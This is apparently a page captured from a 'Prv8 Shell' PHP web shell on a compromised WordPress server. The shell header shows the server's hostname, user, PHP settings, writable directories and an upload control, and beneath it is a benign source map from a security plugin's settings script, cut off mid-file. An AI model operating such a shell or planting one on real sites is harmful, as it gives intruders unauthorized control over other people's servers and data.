Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /home/matalashes/www/wp-content/plugins/security-malware-firewall/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/matalashes/www/wp-content/plugins/security-malware-firewall/js/spbc-settings.min.js.map
{"version":3,"file":"spbc-settings.min.js","sources":["spbc-settings.js"],"sourcesContent":["// Printf for JS\nString.prototype.printf = function(){\n    var formatted = this;\n    for( var arg in arguments ) {\n        var before_formatted = formatted.substring(0, formatted.indexOf(\"%s\", 0));\n        var after_formatted  = formatted.substring(formatted.indexOf(\"%s\", 0)+2, formatted.length);\n        formatted = before_formatted + arguments[arg] + after_formatted;\n    }\n    return formatted;\n};\n\n// Switching tabs\nfunction spbc_switchTab(tab, params){\n\n\tvar tab_name = tab.classList[1].replace('spbc_tab_nav-', '');\n\n\t// update url \n\tvar searchParams = new URLSearchParams(window.location.search)\n    searchParams.set(\"spbc_tab\", tab_name);\n\tvar hashParam = window.location.hash;\n    var newRelativePathQuery = window.location.pathname + '?' + searchParams.toString() + hashParam;\n\n    history.replaceState(null, '', newRelativePathQuery);\n\n\t// Hiding a tab 'Backups' if exist\n    if(searchParams.get('spbc_tab') !== 'backups') {\n    \tjQuery('.spbc_tab_nav-backups').hide();\n    }\n\n    // update active tab\n\tjQuery('.spbc_tab_nav').removeClass('spbc_tab_nav--active');\n\tjQuery('.spbc_tab').removeClass('spbc_tab--active');\n\tjQuery(tab).addClass('spbc_tab_nav--active');\n\tjQuery('.spbc_tab-'+tab_name).addClass('spbc_tab--active');\n\n\tif(!jQuery(tab).data('loaded')){\n\t\tvar data = {\n\t\t\taction: 'spbc_settings__draw_elements',\n\t\t\ttab_name: tab_name,\n\t\t\tsecurity: spbcSettings.ajax_nonce\n\t\t};\n\t\tvar params = {\n\t\t\tcallback: spbc_draw_settings_callback,\n\t\t\tnotJson: true,\n            additional: params || null,\n\t\t};\n\t\tspbc_sendAJAXRequest( data, params, tab );\n\t}else if(params && params.action){\n        switch (params.action){\n            case 'highlight':\n                spbcHighlightElement(params.target, params.times);\n                break;\n            case 'click':\n                setTimeout(function(){\n                    jQuery('#'+params.additional.target).click();\n                }, 500);\n                break;\n        }\n\t}\n}\n\nfunction spbc_draw_settings_callback(result, data, params, obj){\n\n\tjQuery(obj).data('loaded', true);\n\tjQuery('.spbc_tab-'+data.tab_name).replaceWith(result);\n\tvar tab = jQuery('.spbc_tab-'+data.tab_name);\n\ttab.addClass('spbc_tab--active');\n\n\tjQuery(document).off( 'click', '.spbc_long_description__show');\n\tjQuery(document).on('click', '.spbc_long_description__show', function(){\n\t\tself = jQuery(this);\n\t\tspbc_settings__show_description(self, self.attr('setting'));\n\t});\n\n\tif(params.additional){\n\t    switch (params.additional.action) {\n            case 'highlight':\n\t\t        spbcHighlightElement(params.additional.target, params.additional.times);\n                break;\n            case 'click':\n                setTimeout(function(){\n\t\t            jQuery('#'+params.additional.target).click();\n                }, 500);\n                break;\n        }\n    }\n\n\tjQuery(tab).on('click', '.spbc_hint-send_'+data.tab_name, function(){\n\t\t\tjQuery('.spbc_hint-send_'+data.tab_name).hide();\n\t\tspbc_sendAJAXRequest(\n\t\t\t{action: 'spbc_send_'+data.tab_name, tab_name: data.tab_name},\n\t\t\t{callback: spbc_send_logs_callback}\n\t\t);\n\t});\n\n\t// scroll to anchor\n\tif (window.location.hash) {\n\t\tdocument.getElementById(window.location.hash.substring(1)).scrollIntoView();\n\t}\n}\n\nfunction spbc_send_logs_callback(result, data, params, obj){\n\tjQuery('.spbc_tab_nav-'+data.tab_name).data('loaded', false);\n\tspbc_switchTab(document.getElementsByClassName('spbc_tab_nav-'+data.tab_name)[0]);\n}\n\n// Settings dependences\nfunction spbcSettingsDependenciesbyId(settingsIDs, enable){\n\n\tif(typeof settingsIDs === 'string'){\n\t\ttmp = [];\n\t\ttmp.push(settingsIDs);\n\t\tsettingsIDs = tmp;\n\t}\n\n\tenable = typeof enable === 'undefined' ? null : +enable;\n\n\tsettingsIDs.forEach(function(settingID, i, arr){\n\n\t\tvar elem = document.getElementById('spbc_setting_'+settingID),\n            do_disable = function(){elem.setAttribute('disabled', 'disabled');},\n            do_enable  = function(){elem.removeAttribute('disabled');};\n\n        if(enable !== null) // Set\n            enable === 1 ? do_enable() : do_disable();\n        else // Switch\n            elem.getAttribute('disabled') === null ? do_disable() : do_enable();\n\n\t});\n}\n\n/**\n * Recursive in case children found!\n *\n * Settings dependencies\n *\n */\nfunction spbcSettingsDependencies(settingNames, enable){\n\n\t// Cast settingNames to array\n\tsettingNames = typeof settingNames === 'string' ? settingNames.split(',') : settingNames;\n\tenable       = typeof enable === 'undefined' ? +event.target.checked : +enable;\n\n\tsettingNames.forEach(function(settingName, i, arr){\n\n\t\tdocument.getElementsByName('spbc_settings['+settingName+']')\n\t\t\t.forEach(function( elem, i, arr ){\n\n\t\t\t\tvar\tdo_disable = function(){elem.setAttribute('disabled', 'disabled');},\n\t\t\t\t\tdo_enable  = function(){elem.removeAttribute('disabled');};\n\t\t\t\tif(enable !== null) // Set\n\t\t\t\t\tenable === 1 ? do_enable() : do_disable();\n\t\t\t\telse // Switch\n\t\t\t\t\telem.getAttribute('disabled') === null ? do_disable() : do_enable();\n\n\t\t\t\tvar children = elem.getAttribute('children');\n\t\t\t\tif( children !== null ){\n\t\t\t\t\tspbcSettingsDependencies(children, enable && elem.checked);\n\t\t\t\t}\n\t\t\t});\n\t});\n}\n\nfunction spbc_settings__show_description(label, setting_id){\n\t\n\tvar remove_desc_func = function(e){\n\t\tif(typeof e === 'undefined' || ((jQuery(e.target).parent('.spbc_long_desc').length == 0 || jQuery(e.target).hasClass('spbc_long_desc__cancel')) && !jQuery(e.target).hasClass('spbc_long_description__show'))){\n\t\t\tjQuery('.spbc_long_desc').remove();\n\t\t\tjQuery(document).off('click', remove_desc_func);\n\t\t}\n\t};\n\t\n\tremove_desc_func();\n\t\n\tlabel.after(\"<div id='spbc_long_desc__\"+setting_id+\"' class='spbc_long_desc'></div>\");\n\tvar obj = jQuery('#spbc_long_desc__'+setting_id);\n\tobj.append(\"<i class='spbc-icon-spin1 animate-spin'></i>\")\n\t\t.append(\"<div class='spbc_long_desc__angle_top_left'></div>\")\n\t\t.css({\n\t\t\ttop: label.position().top + 25,\n\t\t\tleft: label.position().left + 5\n\t\t});\n\n\t\n\tspbc_sendAJAXRequest(\n\t\t{action: 'spbc_settings__get_description', setting_id: setting_id},\n\t\t{\n\t\t\tspinner: obj.children('img'),\n\t\t\tcallback: function(result, data, params, obj){\n\n\t\t\t\tobj.empty()\n\t\t\t\t\t.append(\"<div class='spbc_long_desc__angle_top_left'></div>\")\n\t\t\t\t\t.append(\"<i class='spbc_long_desc__cancel spbc-icon-cancel'></i>\")\n\t\t\t\t\t.append(\"<h3 class='spbc_long_desc__title'>\"+result.title+\"</h3>\")\n\t\t\t\t\t.append(\"<p>\"+result.desc+\"</p>\");\n\n\t\t\t\tjQuery(document).on('click', remove_desc_func);\n\t\t\t}\n\t\t},\n\t\tobj\n\t);\n}\n\n// Shows/hides full text\nfunction spbcStartShowHide(){\n\tjQuery('.spbcShortText')\n\t\t.off('mouseover' )\n\t\t.on('mouseover', function(){ jQuery(this).next().show(); })\n\t\t.off('mouseout' )\n\t\t.on('mouseout',   function(){ jQuery(this).next().hide();  });\n\tjQuery('.spbcFullText')\n\t\t.off('mouseout' )\n\t\t.on('mouseout',   function(){ jQuery(this).hide();  })\n\t\t.off('mouseover' )\n\t\t.on('mouseover', function(){ jQuery(this).show(); })\n}\n\n// Generate and save confirmation code\nfunction spbctGenerateConfirmationCode() {\n\n\tvar data = {};\n\tvar res = {};\n\tres.success = false;\n\tdata.security = spbcSettings.ajax_nonce;\n\tdata.action = 'spbc_generate_confirmation_code';\n\n\tjQuery.ajax({\n\t\ttype: \"POST\",\n\t\tasync: false,\n\t\turl: spbcSettings.ajaxurl,\n\t\tdata: data,\n\t\tsuccess: function(result){\n\t\t\tif(result.success) {\n\t\t\t\tres.success = true;\n\t\t\t} else {\n\t\t\t\tres.text = result.data;\n\t\t\t}\n\t\t},\n\t});\n\treturn res;\n}\n// Check confirmation code\nfunction spbctCheckConfirmationCode( radioButton, timeout, timer ) {\n\n\tvar element = radioButton;\n\tvar data = {};\n\tdata.security = spbcSettings.ajax_nonce;\n\tdata.action = 'spbc_check_confirmation_code';\n\tdata.code = jQuery('#confirmation-code input').val();\n\n\tjQuery.ajax({\n\t\ttype: \"POST\",\n\t\tasync: false,\n\t\turl: spbcSettings.ajaxurl,\n\t\tdata: data,\n\t\tsuccess: function(result){\n\t\t\tif(result.success) {\n\t\t\t\tjQuery('[name *= 2fa__enable]').attr(\"checked\", \"\");\n\t\t\t\telement.checked = true;\n\t\t\t\tjQuery('#spbc_setting_2fa__roles').removeAttr('disabled');\n\t\t\t\tjQuery('#spbc_setting_2fa__roles > option:first').attr('selected','selected');\n\t\t\t\tclearTimeout( timeout );\n\t\t\t\ttimer.remove();\n\t\t\t\tjQuery('#confirmation-code').dialog( \"close\" );\n\t\t\t} else {\n\t\t\t\talert('Code verification failed!');\n\t\t\t}\n\t\t},\n\t});\n\n}\n\n/**\n * Checking current account status for renew notice\n */\nfunction spbc_banner_check() {\n\tvar bannerChecker = setInterval( function() {\n\t\tspbc_sendAJAXRequest(\n\t\t\t{action: 'spbc_settings__check_renew_banner'},\n\t\t\t{\n\t\t\t\tcallback: function(result, data, params, obj){\n\t\t\t\t\tif (result.close_renew_banner) {\n\t\t\t\t\t\tif (jQuery('#spbc_renew_notice').length)\n\t\t\t\t\t\t\tjQuery('#spbc_renew_notice').hide('slow');\n\t\t\t\t\t\tif (jQuery('#spbc_trial_notice').length)\n\t\t\t\t\t\t\tjQuery('#spbc_trial_notice').hide('slow');\n\t\t\t\t\t\tclearInterval(bannerChecker);\n\t\t\t\t\t}\t\t\t\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t}, 60000);\n}\n\njQuery(document).ready(function(){\n\t\n\tjQuery('#spbc_gdpr_open_modal').on('click', function(){\n\t\tjQuery('#gdpr_dialog').dialog({\n\t\t\tmodal:true, \n\t\t\tshow: true,\n\t\t\tposition: { my: \"center\", at: \"center\", of: window },\n\t\t\twidth: +(jQuery('#wpbody').width() / 100 * 70), // 70% of #wpbody\n\t\t\theight: 'auto',\n\t\t\ttitle: 'GDPR compliance',\n\t\t\tdraggable: false,\n\t\t\tresizable: false,\n\t\t\tcloseText: \"Close\",\n\t\t});\n\t});\n\n\t// Checking email receiving possibility for activation 2FA\n\tjQuery(document).on('click', '[name*=fa__enable]:not([value=0]),#confirmation-code--resend', function(e){\n\n\t\te.preventDefault();\n\n\t\tjQuery('#confirmation-code--resend').attr('disabled', 'disabled')\n\t\t\t.append('<div class=\"circle circle--small -animation--circle -animation--30s \"><div class=\"circle-inner\"></div></div>');\n\t\tvar enableResend = setTimeout(function(){\n\t\t\tjQuery('#confirmation-code--resend').removeAttr('disabled');\n\t\t\tjQuery('#confirmation-code--resend>.circle').remove();\n\t\t}, 30000);\n\n\t\tvar res = spbctGenerateConfirmationCode();\n\t\tif( res.success ) {\n\t\t\tjQuery('#confirmation-code input').val('');\n\t\t\tjQuery('#confirmation-code').dialog({\n\t\t\t\tmodal: true,\n\t\t\t\ttitle: 'Confirmation code',\n\t\t\t\twidth: 310,\n\t\t\t\tbuttons: {\n\t\t\t\t\tCancel: function() {\n\t\t\t\t\t\tjQuery( this ).dialog( \"close\" );\n\t\t\t\t\t\tclearTimeout( enableResend );\n\t\t\t\t\t\tjQuery('#confirmation-code--resend>.circle').remove();\n\t\t\t\t\t},\n\t\t\t\t\tOk: function() {\n\t\t\t\t\t\tspbctCheckConfirmationCode(e.target, enableResend, jQuery('#confirmation-code--resend>.circle'));\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\tdraggable: false,\n\t\t\t\tresizable: false,\n\t\t\t});\n\t\t} else {\n\t\t\talert(res.text);\n\t\t}\n\t});\n\t\n\tif (jQuery('#spbc_renew_notice').length || jQuery('#spbc_trial_notice').length) {\n\t\tspbc_banner_check();\n\t}\n\n\t// Sync button\n\tjQuery('#spbc_button__sync').on('click', function(){\n\t\tspbc_sendAJAXRequest(\n\t\t\t{action: 'spbc_sync'},\n\t\t\t{\n\t\t\t\ttimeout: 25000,\n\t\t\t\tbutton: document.getElementById('spbc_button__sync' ),\n\t\t\t\tspinner: jQuery('#spbc_button__sync .spbc_preloader_button' ),\n\t\t\t\tcallback: function(result, data, params, obj){\n\t\t\t\t\tjQuery('#spbc_button__sync .spbc_success').show(300);\n\t\t\t\t\tsetTimeout(function(){jQuery('#spbc_button__sync .spbc_success').hide(300);}, 2000);\n\t\t\t\t\tif(result.reload)\n\t\t\t\t\t\tdocument.location.reload();\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t});\n\n\tif( spbcSettings.key_changed ){\n\t\tjQuery('#spbc_button__sync').click();\n\t}\n\n\t// Get Key Auto button\n\tjQuery(document).on('click', '#spbc_setting_get_key_auto', function(){\n\t\tspbc_sendAJAXRequest(\n\t\t\t{action: 'spbc_get_key_auto'},\n\t\t\t{\n\t\t\t\ttimeout: 25000,\n\t\t\t\tbutton: document.getElementById('spbc_setting_get_key_auto' ),\n\t\t\t\tspinner: jQuery('#spbc_setting_get_key_auto .spbc_preloader_button' ),\n\t\t\t\tcallback: function(result, data, params, obj){\n\t\t\t\t\tjQuery('#spbc_setting_get_key_auto .spbc_success').show(300);\n\t\t\t\t\tsetTimeout(function(){jQuery('#spbc_setting_get_key_auto .spbc_success').hide(300);}, 2000);\n\t\t\t\t\tif(result.reload)\n\t\t\t\t\t\tdocument.location.reload();\n\t\t\t\t\tif(result.getTemplates) {\n\t\t\t\t\t\tspbcModal.loaded = result.getTemplates;\n\t\t\t\t\t\tspbcModal.open();\n\t\t\t\t\t\tdocument.addEventListener(\"spbcModalClosed\", function( e ) {\n\t\t\t\t\t\t\tdocument.location.reload();\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t});\n\n\t// Import settings\n\tjQuery( document ).on('click', '#spbc_settings_templates_import_button', function(){\n\t\tjQuery('#spbc-ajax-result').remove();\n\t\tvar optionSelected = jQuery('option:selected', jQuery('#spbc_settings_templates_import'));\n\t\tvar templateNameInput = jQuery('#spbc_settings_templates_import_name');\n\t\ttemplateNameInput.css('border-color', 'inherit');\n\t\tif( typeof optionSelected.data('id') === \"undefined\" ) {\n\t\t\tconsole.log( 'Attribute \"data-id\" not set for the option.' );\n\t\t\treturn;\n\t\t}\n\t\tvar data = {\n\t\t\t'template_id' : optionSelected.data('id'),\n\t\t\t'template_name' : optionSelected.data('name'),\n\t\t\t'settings' : optionSelected.data('settings')\n\t\t};\n\t\tvar button = this;\n\t\tspbc_sendAJAXRequest(\n\t\t\t{action: 'spbc_settings_templates_import', data: data},\n\t\t\t{\n\t\t\t\ttimeout: 25000,\n\t\t\t\tbutton: button,\n\t\t\t\tspinner: jQuery('#spbc_settings_templates_import_button .spbc_preloader_button' ),\n\t\t\t\tcallback: function(result, data, params, obj){\n\t\t\t\t\tif(result.success) {\n\t\t\t\t\t\tjQuery( \"<p id='spbc-ajax-result' class='success'>\" + result.data + \"</p>\" ).insertAfter( jQuery(button) );\n\t\t\t\t\t\tjQuery('#spbc_settings_templates_import_button .spbc_success').show(300);\n\t\t\t\t\t\tsetTimeout(function(){jQuery('#spbc_settings_templates_import_button .spbc_success').hide(300);}, 2000);\n\t\t\t\t\t\tdocument.addEventListener(\"spbcModalClosed\", function( e ) {\n\t\t\t\t\t\t\tdocument.location.reload();\n\t\t\t\t\t\t});\n\t\t\t\t\t\tsetTimeout(function(){spbcModal.close()}, 2000);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tjQuery( \"<p id='spbc-ajax-result' class='error'>\" + result.data + \"</p>\" ).insertAfter( jQuery(button) );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t});\n\n\t// Export settings\n\tjQuery( document ).on('click', '#spbc_settings_templates_export_button', function(){\n\t\tjQuery('#spbc-ajax-result').remove();\n\t\tvar optionSelected = jQuery('option:selected', jQuery('#spbc_settings_templates_export'));\n\t\tvar templateNameInput = jQuery('#spbc_settings_templates_export_name');\n\t\ttemplateNameInput.css('border-color', 'inherit');\n\t\tif( typeof optionSelected.data('id') === \"undefined\" ) {\n\t\t\tconsole.log( 'Attribute \"data-id\" not set for the option.' );\n\t\t\treturn;\n\t\t}\n\t\tif( optionSelected.data('id') === 'new_template' ) {\n\t\t\tvar templateName = templateNameInput.val();\n\t\t\tif( templateName === '' ) {\n\t\t\t\ttemplateNameInput.css('border-color', 'red');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar data = {\n\t\t\t\t'template_name' : templateName\n\t\t\t}\n\t\t} else {\n\t\t\tvar data = {\n\t\t\t\t'template_id' : optionSelected.data('id')\n\t\t\t}\n\t\t}\n\t\tvar button = this;\n\t\tspbc_sendAJAXRequest(\n\t\t\t{action: 'spbc_settings_templates_export', data: data},\n\t\t\t{\n\t\t\t\ttimeout: 25000,\n\t\t\t\tbutton: button,\n\t\t\t\tspinner: jQuery('#spbc_settings_templates_export_button .spbc_preloader_button' ),\n\t\t\t\tcallback: function(result, data, params, obj){\n\t\t\t\t\tif(result.success) {\n\t\t\t\t\t\tjQuery( \"<p id='spbc-ajax-result' class='success'>\" + result.data + \"</p>\" ).insertAfter( jQuery(button) );\n\t\t\t\t\t\tjQuery('#spbc_settings_templates_export_button .spbc_success').show(300);\n\t\t\t\t\t\tsetTimeout(function(){jQuery('#spbc_settings_templates_export_button .spbc_success').hide(300);}, 2000);\n\t\t\t\t\t\tdocument.addEventListener(\"spbcModalClosed\", function( e ) {\n\t\t\t\t\t\t\tdocument.location.reload();\n\t\t\t\t\t\t});\n\t\t\t\t\t\tsetTimeout(function(){spbcModal.close()}, 2000);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tjQuery( \"<p id='spbc-ajax-result' class='error'>\" + result.data + \"</p>\" ).insertAfter( jQuery(button) );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t});\n\n\t// Reset settings\n\tjQuery( document ).on('click', '#spbc_settings_templates_reset_button', function(){\n\t\tvar button = this;\n\t\tspbc_sendAJAXRequest(\n\t\t\t{action: 'spbc_settings_templates_reset'},\n\t\t\t{\n\t\t\t\ttimeout: 25000,\n\t\t\t\tbutton: button,\n\t\t\t\tspinner: jQuery('#spbc_settings_templates_reset_button .spbc_preloader_button' ),\n\t\t\t\tcallback: function(result, data, params, obj){\n\t\t\t\t\tif(result.success) {\n\t\t\t\t\t\tjQuery( \"<p id='spbc-ajax-result' class='success'>\" + result.data + \"</p>\" ).insertAfter( jQuery(button) );\n\t\t\t\t\t\tjQuery('#spbc_settings_templates_reset_button .spbc_success').show(300);\n\t\t\t\t\t\tsetTimeout(function(){jQuery('#spbc_settings_templates_reset_button .spbc_success').hide(300);}, 2000);\n\t\t\t\t\t\tdocument.addEventListener(\"spbcModalClosed\", function( e ) {\n\t\t\t\t\t\t\tdocument.location.reload();\n\t\t\t\t\t\t});\n\t\t\t\t\t\tsetTimeout(function(){spbcModal.close()}, 2000);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tjQuery( \"<p id='spbc-ajax-result' class='error'>\" + result.data + \"</p>\" ).insertAfter( jQuery(button) );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t});\n\n\tjQuery(document).on('change', '#spbc_settings_templates_export',function(){\n\t\tvar optionSelected = jQuery(\"option:selected\", this);\n\t\tif ( optionSelected.data(\"id\") === 'new_template' ) {\n\t\t\tjQuery(this).parent().parent().find('#spbc_settings_templates_export_name').show();\n\t\t} else {\n\t\t\tjQuery(this).parent().parent().find('#spbc_settings_templates_export_name').hide();\n\t\t}\n\t});\n\n\t//* TAB_CONTROL\n\t\n\t\tjQuery('.spbc_tab_nav-summary').data('loaded', true); // Summary tab loaded by default\n\t\tjQuery('.spbc_tabs_nav_wrapper').on('click', '.spbc_tab_nav', function(event){\n\t\t\tspbc_switchTab(event.currentTarget);\n\t\t});\n\t\t\n\t\t// Get additional params\n        var params = {\n            target: location.search.match(/spbc_target=(\\S*?)(&|$)/) ? location.search.match(/spbc_target=(\\S*?)(&|$)/)[1] : null,\n            action: location.search.match(/spbc_action=(\\S*?)(&|$)/) ? location.search.match(/spbc_action=(\\S*?)(&|$)/)[1] : null,\n            times: location.search.match(/spbc_times=(\\S*?)(&|$)/)   ? location.search.match(/spbc_times=(\\S*?)(&|$)/)[1]  : 3,\n        };\n        // Legacy support\n        params.target = location.search.match(/spbc_highlight=(\\S*?)(&|$)/) ? location.search.match(/spbc_highlight=(\\S*?)(&|$)/)[1] : params.target;\n        params.action = location.search.search(/spbc_highlight=(\\S*?)(&|$)/) != -1\n            ? 'highlight'\n            : params.action;\n\n\t\t// Get open tab form query\n\t\tvar spbc_tab = document.getElementsByClassName('spbc_tab_nav-' + (location.search.match(/spbc_tab=(\\S*?)(&|$)/) ? location.search.match(/spbc_tab=(\\S*?)(&|$)/)[1] : ''))[0] || null;\n\n\t\t// TAB SWITCHING\n\t\t// Switch by URL\n\t\tif(spbc_tab){\n\n\t\t// Switch to DEBUG\n\t\t}else if( +spbcSettings.debug ){\n\t\t\tspbc_tab = document.getElementsByClassName('spbc_tab_nav-debug')[0];\n\t\t// Switch by DEFAULT\n\t\t}else if( +spbcSettings.wpms && !+spbcSettings.is_main_site){\n\t\t\tspbc_tab = document.getElementsByClassName('spbc_tab_nav-security_log')[0];\n\t\t// Switch if KEY IS BAD\n\t\t}else if( +spbcSettings.key_is_ok ){\n\t\t\t// spbc_tab = document.getElementsByClassName('spbc_tab_nav-summary')[0];\n\t\t\tspbc_tab = document.getElementsByClassName('spbc_tab_nav-scanner')[0]; \n\t\t// Switch if KEY IS BAD\n\t\t}else{\n\t\t\tspbc_tab = document.getElementsByClassName('spbc_tab_nav-settings_general')[0];\n\t\t\tparams = {\n\t\t\t    target: 'spbc_key',\n                action: 'highlight',\n                times: 3,\n            };\n\t\t}\n\t\t\n\t\t// Switch tab\n\t\tif(spbc_tab) spbc_switchTab(spbc_tab, params);\n\t\t\n\t//*/ TAB_CONROL END\n\t\n\t//* REFRESH TAB IF ctrl+F5\n\tvar ctrlKeyDown = false;\n\n\tjQuery(document).on(\"keyup\", function(e) {\n\t\tif ((e.which || e.keyCode) == 17) ctrlKeyDown = false;\n\t});\n\n\tjQuery(document).on(\"keydown\", function(e) {\n\t\tif (((e.which || e.keyCode) == 116) && ctrlKeyDown) {\n\t\t\te.preventDefault();\n\n\t\t\tvar active_tab = jQuery('.spbc_tab_nav--active')[0];\n\t\t\tvar tab_name = active_tab.classList[1].replace('spbc_tab_nav-', '');\n\n\t\t\tif (tab_name === 'scanner') return; \n\n\t\t\tjQuery(active_tab).data('loaded', false);\n\n\t\t\tspbc_switchTab(active_tab);\n\n\t\t} else if ((e.which || e.keyCode) == 17) {\n\t        ctrlKeyDown = true;\n\t    }\n\t});\n\t//*/ REFRESH TAB IF ctrl+F5 END\n});"],"names":["spbc_switchTab","tab","params","tab_name","classList","replace","searchParams","URLSearchParams","window","location","search","hashParam","set","hash","newRelativePathQuery","pathname","toString","history","replaceState","get","jQuery","hide","removeClass","addClass","data","action","spbcHighlightElement","target","times","setTimeout","additional","click","security","spbcSettings","ajax_nonce","callback","spbc_draw_settings_callback","notJson","spbc_sendAJAXRequest","result","obj","replaceWith","document","off","on","spbc_settings__show_description","self","this","attr","spbc_send_logs_callback","getElementById","substring","scrollIntoView","getElementsByClassName","spbcSettingsDependenciesbyId","settingsIDs","enable","tmp","push","forEach","settingID","i","arr","do_disable","elem","setAttribute","do_enable","removeAttribute","getAttribute","spbcSettingsDependencies","settingNames","split","event","checked","settingName","getElementsByName","children","label","setting_id","remove_desc_func","e","parent","length","hasClass","remove","after","append","css","top","position","left","spinner","empty","title","desc","spbcStartShowHide","next","show","spbctGenerateConfirmationCode","res","success","ajax","type","async","url","ajaxurl","text","spbctCheckConfirmationCode","radioButton","timeout","timer","element","code","val","removeAttr","clearTimeout","dialog","alert","spbc_banner_check","bannerChecker","setInterval","close_renew_banner","clearInterval","String","prototype","printf","arg","formatted","arguments","before_formatted","indexOf","after_formatted","ready","modal","my","at","of","width","height","draggable","resizable","closeText","preventDefault","enableResend","buttons","Cancel","Ok","button","reload","key_changed","getTemplates","spbcModal","loaded","open","addEventListener","optionSelected","console","log","template_id","template_name","settings","insertAfter","close","templateNameInput","templateName","find","currentTarget","match","spbc_tab","ctrlKeyDown","debug","wpms","is_main_site","key_is_ok","which","keyCode","active_tab"],"mappings":"AAYA,SAASA,eAAeC,EAAKC,GAE5B,IAAIC,EAAWF,EAAIG,UAAU,GAAGC,QAAQ,gBAAiB,EAAE,EAGvDC,EAAe,IAAIC,gBAAgBC,OAAOC,SAASC,MAAM,EAEzDC,GADDL,EAAaM,IAAI,WAAYT,CAAQ,EACxBK,OAAOC,SAASI,MACzBC,EAAuBN,OAAOC,SAASM,SAAW,IAAMT,EAAaU,SAAS,EAAIL,EAezF,GAbGM,QAAQC,aAAa,KAAM,GAAIJ,CAAoB,EAGf,YAAjCR,EAAaa,IAAI,UAAU,GAC7BC,OAAO,uBAAuB,EAAEC,KAAK,EAIzCD,OAAO,eAAe,EAAEE,YAAY,sBAAsB,EAC1DF,OAAO,WAAW,EAAEE,YAAY,kBAAkB,EAClDF,OAAOnB,CAAG,EAAEsB,SAAS,sBAAsB,EAC3CH,OAAO,aAAajB,CAAQ,EAAEoB,SAAS,kBAAkB,EAErDH,OAAOnB,CAAG,EAAEuB,KAAK,QAAQ,GAYvB,GAAGtB,GAAUA,EAAOuB,OACnB,OAAQvB,EAAOuB,QACX,IAAK,YACDC,qBAAqBxB,EAAOyB,OAAQzB,EAAO0B,KAAK,EAChD,MACJ,IAAK,QACDC,WAAW,WACPT,OAAO,IAAIlB,EAAO4B,WAAWH,MAAM,EAAEI,MAAM,CAC/C,EAAG,GAAG,CAEd,CACP,KAvB+B,CAC1BP,EAAO,CACVC,OAAQ,+BACRtB,SAAUA,EACV6B,SAAUC,aAAaC,UACxB,EACIhC,EAAS,CACZiC,SAAUC,4BACVC,QAAS,CAAA,EACAP,WAAY5B,GAAU,IAChC,EACAoC,qBAAsBd,EAAMtB,EAAQD,CAAI,CACzC,CAYD,CAEA,SAASmC,4BAA4BG,EAAQf,EAAMtB,EAAQsC,GAE1DpB,OAAOoB,CAAG,EAAEhB,KAAK,SAAU,CAAA,CAAI,EAC/BJ,OAAO,aAAaI,EAAKrB,QAAQ,EAAEsC,YAAYF,CAAM,EACjDtC,EAAMmB,OAAO,aAAaI,EAAKrB,QAAQ,EAS3C,GARAF,EAAIsB,SAAS,kBAAkB,EAE/BH,OAAOsB,QAAQ,EAAEC,IAAK,QAAS,8BAA8B,EAC7DvB,OAAOsB,QAAQ,EAAEE,GAAG,QAAS,+BAAgC,WAE5DC,gCADAC,KAAO1B,OAAO2B,IAAI,EACoBD,KAAKE,KAAK,SAAS,CAAC,CAC3D,CAAC,EAEE9C,EAAO4B,WACN,OAAQ5B,EAAO4B,WAAWL,QACnB,IAAK,YACPC,qBAAqBxB,EAAO4B,WAAWH,OAAQzB,EAAO4B,WAAWF,KAAK,EAChE,MACJ,IAAK,QACDC,WAAW,WACbT,OAAO,IAAIlB,EAAO4B,WAAWH,MAAM,EAAEI,MAAM,CACzC,EAAG,GAAG,CAEd,CAGPX,OAAOnB,CAAG,EAAE2C,GAAG,QAAS,mBAAmBpB,EAAKrB,SAAU,WACxDiB,OAAO,mBAAmBI,EAAKrB,QAAQ,EAAEkB,KAAK,EAC/CiB,qBACC,CAACb,OAAQ,aAAaD,EAAKrB,SAAUA,SAAUqB,EAAKrB,QAAQ,EAC5D,CAACgC,SAAUc,uBAAuB,CACnC,CACD,CAAC,EAGGzC,OAAOC,SAASI,MACnB6B,SAASQ,eAAe1C,OAAOC,SAASI,KAAKsC,UAAU,CAAC,CAAC,EAAEC,eAAe,CAE5E,CAEA,SAASH,wBAAwBV,EAAQf,EAAMtB,EAAQsC,GACtDpB,OAAO,iBAAiBI,EAAKrB,QAAQ,EAAEqB,KAAK,SAAU,CAAA,CAAK,EAC3DxB,eAAe0C,SAASW,uBAAuB,gBAAgB7B,EAAKrB,QAAQ,EAAE,EAAE,CACjF,CAGA,SAASmD,6BAA6BC,EAAaC,GAExB,UAAvB,OAAOD,KACTE,IAAM,IACFC,KAAKH,CAAW,EACpBA,EAAcE,KAGfD,EAA2B,KAAA,IAAXA,EAAyB,KAAO,CAACA,EAEjDD,EAAYI,QAAQ,SAASC,EAAWC,EAAGC,GAGnB,SAAbC,IAAwBC,EAAKC,aAAa,WAAY,UAAU,CAAE,CACrD,SAAbC,IAAwBF,EAAKG,gBAAgB,UAAU,CAAE,CAFnE,IAAIH,EAAOtB,SAASQ,eAAe,gBAAgBU,CAAS,GAIxC,OAAXJ,EACY,IAAXA,EAAeU,EAAcH,EAEK,OAAlCC,EAAKI,aAAa,UAAU,EAAaL,EAAeG,GAF/B,CAIpC,CAAC,CACF,CAQA,SAASG,yBAAyBC,EAAcd,GAG/Cc,EAAuC,UAAxB,OAAOA,EAA4BA,EAAaC,MAAM,GAAG,EAAID,EAC5Ed,EAAiC,KAAA,IAAXA,EAAyB,CAACgB,MAAM7C,OAAO8C,QAAU,CAACjB,EAExEc,EAAaX,QAAQ